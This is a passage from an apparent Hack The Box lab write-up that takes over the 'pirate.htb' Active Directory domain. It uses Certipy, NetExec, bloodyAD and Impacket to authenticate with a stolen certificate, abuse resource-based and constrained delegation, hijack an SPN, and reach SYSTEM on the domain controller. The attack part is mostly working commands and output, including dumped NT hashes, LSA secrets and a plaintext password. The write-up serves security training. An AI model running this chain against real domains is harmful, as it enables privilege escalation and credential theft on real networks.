Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Data written to 'web01.pfx'

Authenticate with the decrypted certificate:

Bash
./ft.sh pirate.htb \
certipy auth \
    -pfx <decrypted_cert> \
    -u <username> \
    -domain <domain_name> \
    -dc-ip <dc_ip> \
    -debug 

Retrieved user NT hash and TGT:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
certipy auth \
    -pfx web01.pfx \
    -u 'WEB01$' \
    -domain PIRATE.HTB \
    -dc-ip "$targetIp" \
    -debug
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.604095
25200.604095s
[*] Running: certipy auth -pfx web01.pfx -u WEB01$ -domain PIRATE.HTB -dc-ip 10.129.1.12 -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.129.1.12'
[+] DC IP: '10.129.1.12'
[+] DC Host: ''
[+] Target IP: '10.129.1.12'
[+] Remote Name: '10.129.1.12'
[+] Domain: ''
[+] Username: 'WEB01$'
[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC pirate.htb (10.129.1.12)
[*] Got TGT
[*] Saving credential cache to 'web01.ccache'
[+] Attempting to write data to 'web01.ccache'
[+] Data written to 'web01.ccache'
[*] Wrote credential cache to 'web01.ccache'
[*] Trying to retrieve NT hash for 'web01$'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9

Account WEB01$ compromised.

2.3.7 Get WEB01$

Unfortunately, WEB01$ does not own WinRM access:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb -u 'WEB01$' -k --use-kcache
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.665858
25200.665858s
[*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -k --use-kcache
SMB         WEB01.pirate.htb 445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None)
SMB         WEB01.pirate.htb 445    WEB01            [+] PIRATE.HTB\WEB01$ from ccache
$ ./ft.sh pirate.htb \
nxc winrm WEB01.pirate.htb -u 'WEB01$' -k --use-kcache
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.666559
25200.666559s
[*] Running: nxc winrm WEB01.pirate.htb -u WEB01$ -k --use-kcache
WINRM       WEB01.pirate.htb 5985   WEB01            [*] Windows 10 / Server 2019 Build 17763 (name:WEB01) (domain:pirate.htb)

From the gMSA_ADFS_prod$ remote shell in WEB01 machine, we see our target could be the local Administrator:

axura@labyrinth:~
$ evil-winrm -i WEB01.pirate.htb -u 'gMSA_ADFS_prod$' -H 8126756fb2e69697bfcb04816e685839

*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$.PIRATE\Documents> ls c:\users


    Directory: C:\users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/15/2026   7:37 PM                a.white
d-----         6/9/2025  10:11 AM                Administrator
d-----         6/9/2025   6:55 AM                Administrator.PIRATE
d-----         6/9/2025   7:31 AM                gMSA_ADFS_prod$
d-----        1/15/2026   6:40 PM                gMSA_ADFS_prod$.PIRATE
d-r---         6/8/2025   1:29 PM                Public

With such a machine account, it's easy to privesc via RBCD.

2.4 RBCD

I won't re-explain RBCD in depth here. For background, search the tag on Hacktag:

2.4.1 Set RBCD

Using the compromised WEB01$ computer account (via NTLM relay → LDAP shell), we modified an attribute on the WEB01 computer object. The key attribute for Resource-Based Constrained Delegation (RBCD) is

MS Attribute
msDS-AllowedToActOnBehalfOfOtherIdentity

This attribute resides on the target resource (here, WEB01$) and stores a security descriptor listing which principals may act on its behalf (i.e., perform S4U2Proxy).

From the LDAP shell:

axura@labyrinth:~
╰─$ nc 127.0.0.1 11000                                                                                                             
Type help for list of commands

# help

[...snip...]
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
[...snip...]

# set_rbcd WEB01$ WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102

Found Grantee DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Grantee SID: S-1-5-21-4107424128-4158083573-1300325248-3102
Delegation rights modified successfully!
WEB01$ can now impersonate users on WEB01$ via S4U2Proxy

Meaning:

  • Target = WEB01$ (the resource desired to access)
  • Grantee = WEB01$ (the principal allowed to impersonate users to that resource)

Effectively, WEB01 now trusts itself for delegation. This allows WEB01$ to request S4U2Proxy tickets to services on WEB01 while impersonating arbitrary users.

2.4.2 S4U2Self + S4U2Proxy

NetExec automates the Kerberos delegation process using the --delegate flag. Internally, this performs:

Flow
S4U2Self → S4U2Proxy → service ticket for cifs/WEB01 as Administrator

The --self flag requests a ticket usable against the same host (WEB01).

Using the compromised WEB01$ machine account:

Bash
# make sure using WEB01 TGT
export KRB5CCNAME=web01.ccache

./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
    --delegate Administrator --self

Result:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
    --delegate Administrator --self
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.657206
25200.657206s
[*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 --delegate Administrator --self
SMB         WEB01.pirate.htb 445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None)
SMB         WEB01.pirate.htb 445    WEB01            [-] Error checking if user is admin on WEB01.pirate.htb: The NETBIOS connection with the remote host timed out.
SMB         WEB01.pirate.htb 445    WEB01            [+] pirate.htb\Administrator through S4U with WEB01$

The SMB session is now authenticated as Domain Administrator via delegated Kerberos credentials obtained through RBCD.

2.4.3 Get WEB01 ADMINISTRATOR

NetExec can then extract local credentials:

Bash
# Authenticate as Administrator via delegation
./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
    --delegate Administrator

# Dump SAM and LSA secrets
./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
    --delegate Administrator \
    --lsa --sam

Pwned:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 -k \
    --delegate Administrator
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.669994
25200.669994s
[*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 -k --delegate Administrator
SMB         WEB01.pirate.htb 445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None)
SMB         WEB01.pirate.htb 445    WEB01            [+] pirate.htb\Administrator through S4U with WEB01$ (Pwn3d!)
$ ./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
    -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 -k \
    --delegate Administrator \
    --lsa --sam
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.448195
25200.448195s
[*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 -k --delegate Administrator --lsa --sam
SMB         WEB01.pirate.htb 445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None)
SMB         WEB01.pirate.htb 445    WEB01            [+] pirate.htb\Administrator through S4U with WEB01$ (Pwn3d!)
SMB         WEB01.pirate.htb 445    WEB01            [*] Dumping SAM hashes
SMB         WEB01.pirate.htb 445    WEB01            Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
SMB         WEB01.pirate.htb 445    WEB01            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         WEB01.pirate.htb 445    WEB01            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         WEB01.pirate.htb 445    WEB01            WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
SMB         WEB01.pirate.htb 445    WEB01            [+] Added 4 SAM hashes to the database
SMB         WEB01.pirate.htb 445    WEB01            [*] Dumping LSA secrets
SMB         WEB01.pirate.htb 445    WEB01            PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09)
SMB         WEB01.pirate.htb 445    WEB01            PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-03-01 15:15:06)
SMB         WEB01.pirate.htb 445    WEB01            PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-03-01 15:13:03)
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\WEB01$:aes256-cts-hmac-sha1-96:57b48ef53425adf16b2409ea4d980de1007c9f61b126bdc1c05d3d830c727526
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\WEB01$:aes128-cts-hmac-sha1-96:b6b018d4edd476f0999d6f666844cf77
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\WEB01$:des-cbc-md5:efdf97b9a1e06243
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808
c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee
87b4b9eb08a8a4af90710056f558
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
SMB         WEB01.pirate.htb 445    WEB01            PIRATE\a.white:E2nvAOKSz5Xz2MJu
SMB         WEB01.pirate.htb 445    WEB01            dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
SMB         WEB01.pirate.htb 445    WEB01            _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:e3ef474b98138dd4469f6dc176f879ba1e0817ba44502187b9080b9f3334c91b9b1af1ce4e91fb562c8d8824412c700e0
0d105bc674d8e26a594e3da4173f2c87313d634b39c3412d4bfb6849247686df6065b536566807e0ace92f94ea3166bb9752d12d352c89b9fdafa7d3171e4dd55be9d585504f8c628a0ff4c670d7595a909a3c9a7ec2dff984e5ddf77049a91a5597f0a39c5499455675901cce41aded98d80a1b5f7f82cc220b590df4bfc0bfc5f0feb66e73a
56f1ab7fe914c6d7cd2b83e0b9065b76e02bc330f7694416f3acd6c463df84923500b64a1014e74413809a7a06af577ce7685bfd2ab56a2067
SMB         WEB01.pirate.htb 445    WEB01            _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:01000000220100001000000012011a01b6c4083911a28350b1fd6948803650e1b1c5741f7719b1f4ff926203dcdf4ec9c0369b7
b92fe10a2d7ff953bfa406a3b6786523ed82767cc8fe2734af892e98efbef2b3476759032b4ecdef34276c363b8a9410b63d809ea6ef167f5b541d73c3ac4214da22a14d97982c928d91bb971fe99d4809c1ebdeae8e769c6b3377ee1a478dffbb2ddc13318be131167d1a4a01833a4c27e0512690d73de1e59a01761ec7d40fc1882050cbf43
9d9cbb281a06d4bf8d85d1feb2740ec399eca0e46e36990b72b2c4a64ae009bafb3dfd264ff734b63fb922609e8c305883a75d9aef75ce37bca0910436590d9312fca46ad89a61a89bddc873197de48eab3d69b9e49800001941b01b7317000019e3df6872170000
SMB         WEB01.pirate.htb 445    WEB01            GMSA ID: a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11 NTLM: 841fae962662f0c2f0178d01d178ec3e
SMB         WEB01.pirate.htb 445    WEB01            [+] Dumped 12 LSA secrets to /home/Axura/.nxc/logs/lsa/WEB01_WEB01.pirate.htb_2026-03-01_113100.secrets and /home/Axura/.nxc/logs/lsa/WEB01_WEB01.pirate.htb_2026-03-01_113100.cached

2.4.4 Get WEB01 Administrator

Use the extracted Administrator NT hash for WinRM access:

axura@labyrinth:~
$ evil-winrm -i WEB01.pirate.htb -u 'administrator' -H b1aac1584c2ea8ed0a9429684e4fc3e5

*Evil-WinRM* PS C:\Users\Administrator\Documents> ls c:\users\a.white\desktop


    Directory: C:\users\a.white\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         3/1/2026   7:13 AM             34 user.txt


*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\users\a.white\desktop\user.txt
2*********************************c

Suprisingly, the user flag is not under the Administrator profile but in a.white's directory.


3 ROOT

3.1 Password Rest

3.1.1 Get A.WHITE

From previous secret dumps, we discover the plain-text password for user a.white:

Password
E2nvAOKSz5Xz2MJu

Recall the exploit path found earlier by BloodHound:

It's pure AD ACL abuse:

Flow
User → Password Reset → Group Control → Privileged Group → DC Attribute Write

3.1.2 ForceChangePassword

First of all, a.white can reset the password of a.white_adm WITHOUT knowing the old password.

Personally I prefer using bloodyAD to modify Windows objects:

Bash
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white -p E2nvAOKSz5Xz2MJu \
    set password \
    'a.white_adm' 'AxuraP@ssw0rd'

3.2 Enumeration

The a.white_adm seems to be a high-privilege target. So I decided to run BloodHound again to explore more comprehensive exploit paths:

Bash
bloodhound-python \
        -dc 'dc01.pirate.htb' -d 'pirate.htb' \
        -u 'a.white_adm' -p 'AxuraP@ssw0rd' \
        -ns $targetIp --zip -c All 

WriteSPN on DC01:

This is game over.

3.3 WriteSPN

To understand writeSPN, just search Hacktag:

But we obviously won't use previously introduced methods (like using targetedkerberoasting) to obtain account hashes, because the DC01$ password is likely uncrackable.

Some tricky ideas needed to proceed.

3.4 KCD

Reference: thehacker.recipes

3.4.1 Find Delegations

NetExec can enumerate delegation misconfigurations:

Bash
nxc ldap DC01.pirate.htb \
    -u 'a.white_adm' -p 'AxuraP@ssw0rd' \
    --find-delegation

Result:

axura@labyrinth:~
$ nxc ldap DC01.pirate.htb -u 'a.white_adm' -p 'AxuraP@ssw0rd'  --find-delegation
LDAP        10.129.1.12    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        10.129.1.12    389    DC01             [+] pirate.htb\a.white_adm:AxuraP@ssw0rd
LDAP        10.129.1.12    389    DC01             AccountName AccountType DelegationType                     DelegationRightsTo                     
LDAP        10.129.1.12    389    DC01             ----------- ----------- ---------------------------------- ---------------------------------------
LDAP        10.129.1.12    389    DC01             a.white_adm Person      Constrained w/ Protocol Transition http/WEB01.pirate.htb, HTTP/WEB01      
LDAP        10.129.1.12    389    DC01             WEB01$      Computer    Resource-Based Constrained         WEB01$                                 

This shows classic constrained delegation with protocol transition.

In practice, a.white_adm can impersonate any user:

  • To the HTTP service on WEB01
  • Without knowing that user's password

Any user — including administrators.

3.4.2 Constrained Delegation WITH Protocol Transition

Kerberos constrained delegation comes in two forms:

  • Kerberos-only constrained delegation → Service can impersonate users only if they authenticated via Kerberos
  • Constrained delegation WITH protocol transition → Service can impersonate users even if they authenticated via:
    • NTLM
    • Basic auth
    • Forms auth
    • No Kerberos at all

We have the second — the dangerous one.

Kerberos identifies services via SPNs:

SPN
HTTP/WEB01.pirate.htb

This covers:

  • IIS / web services on WEB01
  • WinRM over HTTP
  • ADFS
  • Other HTTP-based services

Port 80 is open on this host (see section 1.3.4), confirming a viable target.

Protocol transition is powerful: without it, we would need a victim's Kerberos TGT. With it, we can impersonate any user directly — no credentials required.

3.4.3 SPN Hijacking + KCD

Exploit path:

Flow
a.white_adm
   ↓  (Constrained delegation + protocol transition)
HTTP/WEB01 or HTTP/WEB01.pirate.htb

Abuse service privileges

Escalate to DC

This is a classic SPN-jacking + KCD abuse path.

3.4.3.1 SPN Migration

Now HTTP service exists ONLY in WEB01$, not in our target DC01$. Inspect using bloodyAD:

axura@labyrinth:~
$ # WEB01$ owns HTTP
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    get object \
    'WEB01$' --attr servicePrincipalName \
    | grep HTTP
servicePrincipalName: tapinego/WEB01; tapinego/WEB01.pirate.htb; WSMAN/WEB01; WSMAN/WEB01.pirate.htb; HOST/WEB01.pirate.htb; RestrictedKrbHost/WEB01.pirate.htb; HOST/WEB01; RestrictedKrbHo
st/WEB01; TERMSRV/WEB01.pirate.htb; TERMSRV/WEB01; HTTP/WEB01; HTTP/WEB01.pirate.htb
$ # DC01$ has no HTTP
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    get object \
    'DC01$' --attr servicePrincipalName \
    | grep HTTP

The SPN must be unique across AD, so we need to move it from WEB01$ to DC01$.

Remove SPN from original owner (WEB01$):

Bash
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    msldap delspn \
    "CN=WEB01,CN=Computers,DC=pirate,DC=htb" \
    "HTTP/WEB01.pirate.htb"

Add SPN to target host (DC01$):

Bash
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    msldap addspn \
    "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb" \
    "HTTP/WEB01.pirate.htb"

3.4.3.2 Verify SPN Relocation

Confirm SPN now belongs to DC01$, and removed from WEB01$:

axura@labyrinth:~
$ # Now WEB01$ losed HTTP
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    get object \
    'WEB01$' --attr servicePrincipalName \
    | grep HTTP
servicePrincipalName: tapinego/WEB01; tapinego/WEB01.pirate.htb; WSMAN/WEB01; WSMAN/WEB01.pirate.htb; HOST/WEB01.pirate.htb; RestrictedKrbHost/WEB01.pirate.htb; HOST/WEB01; RestrictedKrbHo
st/WEB01; TERMSRV/WEB01.pirate.htb; TERMSRV/WEB01; HTTP/WEB01
$ # DC01$ gains HTTP
bloodyAD -H DC01.pirate.htb -d pirate.htb \
    -u a.white_adm -p 'AxuraP@ssw0rd' \
    get object \
    'DC01$' --attr servicePrincipalName \
    | grep HTTP
servicePrincipalName: HTTP/WEB01.pirate.htb; Hyper-V Replica Service/DC01; Hyper-V Replica Service/DC01.pirate.htb; Microsoft Virtual System Migration Service/DC01; Microsoft Virtual Syste
m Migration Service/DC01.pirate.htb; Microsoft Virtual Console Service/DC01; Microsoft Virtual Console Service/DC01.pirate.htb; Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.pirate.htb; l
dap/DC01.pirate.htb/ForestDnsZones.pirate.htb; ldap/DC01.pirate.htb/DomainDnsZones.pirate.htb; DNS/DC01.pirate.htb; GC/DC01.pirate.htb/pirate.htb; RestrictedKrbHost/DC01.pirate.htb; Restri
ctedKrbHost/DC01; RPC/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb; HOST/DC01/PIRATE; HOST/DC01.pirate.htb/PIRATE; HOST/DC01; HOST/DC01.pirate.htb; HOST/DC01.pirate.htb/pirate.ht
b; E3514235-4B06-11D1-AB04-00C04FC2DCD2/21c2943d-6163-4df9-aff7-3d164aa2cfbb/pirate.htb; ldap/DC01/PIRATE; ldap/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb; ldap/DC01.pirate.htb
/PIRATE; ldap/DC01; ldap/DC01.pirate.htb; ldap/DC01.pirate.htb/pirate.htb

Migrating HTTP/WEB01.pirate.htb is enought for we will just exploit this SPN in the following steps.

But a.white_adm is still allowed to delegate to that SPN – she does not care who it belongs to.

3.4.3.3 KDC Abuse

Now the KDC believes:

SPN
HTTP/WEB01.pirate.htb  →  DC01$

Kerberos Flow:

Flow
a.white_adm

   ├─ S4U2Self → impersonate Administrator

   └─ S4U2Proxy → request ticket for HTTP/WEB01.pirate.htb

                Encrypted for DC01$

Use Impacket to generate Administrator TGS for DC01:

Bash
./ft.sh pirate.htb \
getST.py PIRATE.HTB/a.white_adm:'AxuraP@ssw0rd' \
    -spn HTTP/WEB01.pirate.htb \
    -impersonate Administrator \
    -dc-ip DC01.pirate.htb \
    -altservice CIFS/DC01.pirate.htb

We request the allowed SPN (HTTP/WEB01) but rewrite the ticket for:

SPN
CIFS/DC01

Since the ticket is encrypted with DC01$'s key, it is valid for DC01 services.

As a result, we obtain a Kerberos service ticket (Administrator → CIFS/DC01):

axura@labyrinth:~
# ./ft.sh pirate.htb \
getST.py PIRATE.HTB/a.white_adm:'AxuraP@ssw0rd' \
    -spn HTTP/WEB01.pirate.htb \
    -impersonate Administrator \
    -dc-ip DC01.pirate.htb \
    -altservice CIFS/DC01.pirate.htb
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25153.605546
25153.605546s
[*] Running: getST.py PIRATE.HTB/a.white_adm:AxuraP@ssw0rd -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip DC01.pirate.htb -altservice CIFS/DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/[email protected] to CIFS/[email protected]
[*] Saving ticket in Administrator@[email protected]

Now this is a valid Administrator TGS for DC01.

3.4.4 Get DC01 ADMINISTRATOR

Use the service ticket for psexec or wmiexec:

axura@labyrinth:~
# export KRB5CCNAME=Administrator@[email protected]
# ./ft.sh pirate.htb \
psexec.py -k -no-pass DC01.pirate.htb
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25200.883669
25200.883669s
[*] Running: psexec.py -k -no-pass DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on DC01.pirate.htb.....
[*] Found writable share ADMIN$
[*] Uploading file LGblabiJ.exe
[*] Opening SVCManager on DC01.pirate.htb.....
[*] Creating service Xsus on DC01.pirate.htb.....
[*] Starting service Xsus.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type c:\users\administrator\desktop\root.txt
e*************************8

Or dump secrets:

axura@labyrinth:~
# ./ft.sh pirate.htb \
secretsdump.py -k -no-pass \
    -just-dc-user administrator \
    PIRATE.HTB/[email protected]
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25153.965550
25153.965550s
[*] Running: secretsdump.py -k -no-pass -just-dc-user administrator PIRATE.HTB/[email protected]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56
Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f
Administrator:des-cbc-md5:08c1f7b9269bba9d
[*] Cleaning up...

Rooted.